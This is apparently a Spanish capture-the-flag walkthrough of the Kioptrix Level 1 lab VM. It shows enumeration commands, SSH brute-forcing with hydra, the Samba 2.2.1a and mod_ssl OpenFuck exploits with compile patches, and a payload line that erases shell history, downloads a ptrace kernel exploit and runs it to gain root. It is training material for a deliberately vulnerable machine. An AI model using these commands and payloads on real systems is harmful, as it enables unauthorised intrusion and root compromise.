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Kioptrix1 192.168.56.102

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

Esta imagen de Kioptrix VM es un reto fácil. El objetivo del juego es adquirir acceso a la raíz por cualquier medio posible 
(excepto en realidad piratear el servidor o el jugador de la máquina virtual). El propósito de estos juegos es aprender las 
herramientas y técnicas básicas en evaluación y explotación de vulnerabilidades. Hay más formas que una para completar 
con éxito los desafíos.

Información
Exploit realizados

     Samba 2.2.1a
     mod_ssl CVE-2002-0082 (LOgrado con exoploit OpenFuck
        Obtención de root  con ptrace/knod
        Escalada de privilegios directamente con OpenFuck y acceso a usuario Apache y escalada desde maquina.

Info. Host
Sistema Operativo
Linux 2.4.9 - 2.4.18 (likely embedded)
Maquina KIOPTRIX
workgroup: MYGROUP

Architecture
    OpenSSH 2.9p2 (protocol 1.99)
     Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
    Version de SAMBA 2.2.1a
    
  

Passwords
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Banderas
Se logra el acceso con dos vulnerabilidades.
La de SAMBA o la de mod_ssl

Vulnerabilidad SSL OpenFuck
Para este caso dos opciones cambiando codigo a nuestro Apache y realizando una escalada de privilegios

Descubrimiento Objetivo
La IP de nuestro KALI 192.168.56.100
netdiscover -i eth0 -r 192.168.56.0/24

  Se localiza  la IP de la maquina a vulnerar para obtener root
192.168.56.102  00:0c:29:b7:66:23

Enumeracion

nmap -O -sS -Pn -sV 192.168.56.102 

TCP

22 (ssh)
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
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//Añadimos las siguientes lineas en /etc/ssh/ssh_config por problema kali 2019.2
#Legacy changes
KexAlgorithms +diffie-hellman-group1-sha1
Ciphers +aes128-cbc

Pruebas de no tener clave o claves igual usuario (no se produce)
ssh root@192.168.56.102
ssh kioptrix@192.168.56.102

Confirmamos version de SSH con MetaSploit
use auxiliary/scanner/ssh/ssh_version
set rhosts 192.168.56.102
run

Intento de clave por fuerza bruta
hydra -l root -P rockyou.txt ssh://192.168.56.102:22 -t 4

80 HTTP
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

whatweb

whatweb -a4 192.168.56.102

RedHat
Apache 1.3.20
mod_ssl 2.8.4
OpenSSL 0.9.6

nikto
nikto -h 192.168.56.102

+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

      Vulnerabilidad acceso a Remote Shell CVE-2002-0082
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111 (RPCBIND)
111/tcp  open  rpcbind     2 (RPC #100000)

rpcinfo -p 192.168.56.102

139 (netbios SAMBA)
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)

Obtenemos información
Version
use auxiliary/scanner/smb/smb_version
set rhost 192.168.56.102
run

Version de SAMBA 2.2.1a

nmblookup -A 192.168.56.102

Maquina KIOPTRIX
Grupos: MYGROUP

smbclient -U "" -N -I 192.168.56.102 -L \\KIOPTRIX
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nbtscan -r 192.168.56.102

O

enum4linux
enum4linux -a 192.168.56.102
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443 (ssl/https)

1024 (Status)
1024/tcp open  status      1 (RPC #100024)

Explotacion
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139 SAMBA
La version de samba se localizo en la enumeracion es 2.2.1a

searchsploit samba 2.2

Usaremos 10.c al ser ejecucion remota

searchsploit -m 10.c         // Lo TRaemos

gcc -Wall -o exploitSAMBA 10.c

./exploitSAMBA

  Ejecutaremos exploitSA

    Logrado acceso a ROO

PRUEBA consegida

80 mod_ssl/2.8.4 
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Segun NIKTO tenemos una vulneravilidad den mod_ssl CVE-2002-0082

searchsploit mod_ssl

Tomamos fichero OpenFuckV2.C
searchsploit -m 764.c

Vemos como compilarlo pero también vemos notas de actualización por lo que vamos a la pagina

1
Esta nos da errores en kali 2019.2 por lo que al ir a buscar soluciones encontramos
https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/

1.- Añadir en la linea 24 (Igual que anterior añadiendo SSL2
#include <openssl/rc4.h>
#include <openssl/md5.h>

#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16

2.- en 672 (Igual a antes) cambio de COMMAND2 por
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o 
p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"

3.- en 970 (Igual a antes) poner como constante
const unsigned char *p, *end;

4.- 1078 (igual que antes) cambiar IF por
if (EVP_PKEY_get1_RSA(pkey) == NULL) {

5.- 1084 Variable Encript

6.- Instalar apt–get install libssl–dev

7.- compilar
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Ejecutamos ./764

Viendo la ayuda ejecutamos  el tarrget 0x6A o 0x6B

Con 0x6a no se logra por lo que se intenta con 0x6b y si. Como las conexiones son entre 40-50 usamos 45 que es la 
media.
./764 0x6a 192.168.56.102 -c 45

 tambien podemos ejecutar ./764 0x6a 192.168..56.102 443

ENtramos con usuario Apache.
Tenemos dos opciones una escalada de privilegios o el paquete ptrace-kmod este en un servidor con acceso, ya que esta 
maquina no tiene acceso a internet.

Opcion Maquina accesible
1.- Habilitamos el servidor apache dptrace-kmod.ce kali
    service apache2 start
    copiamos en /var/www/html el fichero ptrace-kmod.c (Nos lo trajimos con wget https://dl.packetstormsecurity.netits/
ptrace-kmod.c)
2.- cambiamos el fuente la linea 672 por nuestra dirección de kali que en nuestro caso es http://192.168.56.100/ptrace-
kmod.c

Compilamos el nuevo codigo y ejecutamos ./764 0x6a 192.168..56.102 443
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PRUEBA consegida

Post Exploitation

Escalada de privilegios

Opción de escalada de privilegios
Como sabemos que la version de SO es 2.4.9 filtramos por el kernel linux
searchsploit linux kernel 2.4.x Privilege Escalation

Encontramos ptrace/kamod como nuestro codigo anterior por lo que usaremos este (3.c)
searchsploit -m 3.c
Los copiamos en el servidor apache /var/www/html para capturarlo desde la maquina a vulnerar que es donde lo 
compilaremos
Desde la maquina atacada sin acceso a root, cogemos con wget este fichero, lo compilamos y ejecutamos.
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PRUEBA consegida con escalacion

Permisos Ficheros


